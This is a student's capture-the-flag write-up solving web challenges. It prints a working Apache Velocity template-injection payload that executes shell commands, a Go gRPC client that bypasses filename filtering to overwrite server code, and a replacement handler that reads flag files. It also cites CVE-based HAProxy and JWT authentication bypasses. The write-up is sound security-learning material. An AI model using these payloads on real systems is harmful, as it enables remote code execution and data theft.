This CTF happened during my midterms and I didn’t really have the luxury of time to look at some of the later challenges. I participated under team youtiaos, and we ended 97th place out of 5694 teams.

Lightning Round

TimeKORP - Trivial command injection in format parameter
KORP terminal - SQLmap + bcrypt hash cracking

Labyrinth Linguist

We’re given a Java application using the Apache Velocity templating engine. We have user controlled input via textString that we can inject Velocity templates into.

1
2
3
4
5
6
7
8
t.setData(runtimeServices.parse(reader, "home"));
t.initDocument();
VelocityContext context = new VelocityContext();
context.put("name", "World");

StringWriter writer = new StringWriter();
t.merge(context, writer);
template = writer.toString();

context.put("name", "World"); is the key here. Exclusion of this line would make RCE a lot harder, but since we have this object in our context we can simply access the Java Class object through .getClass(). We can therefore inject:

1
2
3
4
5
6
7
8
#set($str=$name.getClass().forName("java.lang.String"))
#set($chr=$name.getClass().forName("java.lang.Character"))
#set($ex=$name.getClass().forName("java.lang.Runtime").getRuntime().exec("cat ../flag.txt"))
$ex.waitFor()
#set($out=$ex.getInputStream())
#foreach($i in [1..$out.available()])
$str.valueOf($chr.toChars($out.read()))
#end

to read the flag.

LockTalk

We’re given a Flask application through HAProxy. The flag is accessible through /flag:

1
2
3
4
@api_blueprint.route('/flag', methods=['GET'])
@authorize_roles(['administrator'])
def flag():
return jsonify({'message': current_app.config.get('FLAG')}), 200

The authorize_roles decorator is as shown:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
def authorize_roles(roles):
def decorator(func):
@wraps(func)
def wrapper(*args, **kwargs):
token = request.headers.get('Authorization')

if not token:
return jsonify({'message': 'JWT token is missing or invalid.'}), 401

try:
token = jwt.verify_jwt(token, current_app.config.get('JWT_SECRET_KEY'), ['PS256'])
user_role = token[1]['role']

if user_role not in roles:
return jsonify({'message': f'{user_role} user does not have the required authorization to access the resource.'}), 403

return func(*args, **kwargs)
except Exception as e:
return jsonify({'message': 'JWT token verification failed.', 'error': str(e)}), 401
return wrapper
return decorator

There are two things in our way.

Firstly, HAProxy here acts as a firewall and prevents all requests to the API.

1
2
3
4
5
frontend haproxy
bind 0.0.0.0:1337
default_backend backend

http-request deny if { path_beg,url_dec -i /api/v1/get_ticket }

Looking at the dockerfile however, we can see that a specific version of HAProxy is being used:

1
RUN wget https://www.haproxy.org/download/2.8/src/haproxy-2.8.1.tar.gz

Simply using CVE-2023-45539 will allow us to bypass the firewall.

Second is the JWT verification. Unfortunately, looking at requirements.txt, they’re install a specific version of python_jwt:

1
python_jwt==3.3.3

Using CVE-2022-39227 will allow us to bypass authentication and masquerade as an administrator.

Testimonial

We’re given a golang application with file upload using gRPC. Flag is in the root directory. Both the application and the gRPC Ricky server are exposed. Air is used to live-reload the application.

Intuitively, if the file upload is insecure, we can overwrite an application file with a malicious script that reads the flag file and reload the application to reflect our changes.

The client filters the uploaded file name on the client:

1
2
3
4
5
6
7
8
9
10
func (c *Client) SendTestimonial(customer, testimonial string) error {
ctx := context.Background()
// Filter bad characters.
for _, char := range []string{"/", "\\", ":", "*", "?", "\"", "<", ">", "|", "."} {
customer = strings.ReplaceAll(customer, char, "")
}

_, err := c.SubmitTestimonial(ctx, &pb.TestimonialSubmission{Customer: customer, Testimonial: testimonial})
return err
}

We can easily bypass the check by communicating directly with the gRPC server.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
package main

import (
"context"
"fmt"
"sol/pb"
"log"
"os"

"google.golang.org/grpc"
)

func main() {
serverAddr := "grpcserver:port"

conn, err := grpc.Dial(serverAddr, grpc.WithInsecure())
if err != nil {
log.Fatalf("Failed to connect: %v", err)
}
defer conn.Close()

client := pb.NewRickyServiceClient(conn)

customer := "uploaded_filename"
fileContent, err := os.ReadFile("local_copy_of_file")

if err != nil {
fmt.Printf("Error reading file: %v\n", err)
return
}

testimonial := string(fileContent)

err = sendTestimonial(client, customer, testimonial)
if err != nil {
log.Fatalf("Failed to send: %v", err)
}

fmt.Println("Win")
}

func sendTestimonial(client pb.RickyServiceClient, customer, testimonial string) error {
ctx := context.Background()
_, err := client.SubmitTestimonial(ctx, &pb.TestimonialSubmission{
Customer: customer,
Testimonial: testimonial,
})
return err
}

We can iteratively search for a useful file we have permissions to overwrite, and home.go serves that purpose.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
func HandleHomeIndex(w http.ResponseWriter, r *http.Request) error {
customer := r.URL.Query().Get("customer")
testimonial := ""

files, err := ioutil.ReadDir("/")
if err != nil {
testimonial = "Error reading root directory"
}

if testimonial == "" {
for _, file := range files {
if filepath.Ext(file.Name()) == ".txt" {
content, err := ioutil.ReadFile(filepath.Join("/", file.Name()))
if err != nil {
fmt.Printf("Error reading file %s: %v\n", file.Name(), err)
continue
}
testimonial += string(content)
}
}
}

if customer != "" && testimonial != "" {
c, err := client.GetClient()
if err != nil {
http.Error(w, err.Error(), http.StatusInternalServerError)

}

if err := c.SendTestimonial(customer, testimonial); err != nil {
http.Error(w, err.Error(), http.StatusInternalServerError)

}
}
return home.Index().Render(r.Context(), w)
}

We now need to reload the application and submit a new testimonial, thereby calling the malicious home handler. Looking at air.toml:

1
include_ext = ["tpl", "tmpl", "templ", "html"]

All we need to do is create a new file with one of these extensions and we can retrieve the flag.

SerialFlow

I had no time to solve this one, but I took a quick look at the challenge. It uses a vulnerable version of py-memcached to store the session cookie, which uses unsafe pickle deserialization methods. I tried a few encoding methods to upload a simple payload during the last hour of the CTF, but none of them worked.

After the CTF, I read a few writeups and apparently octal works. Unfortunate.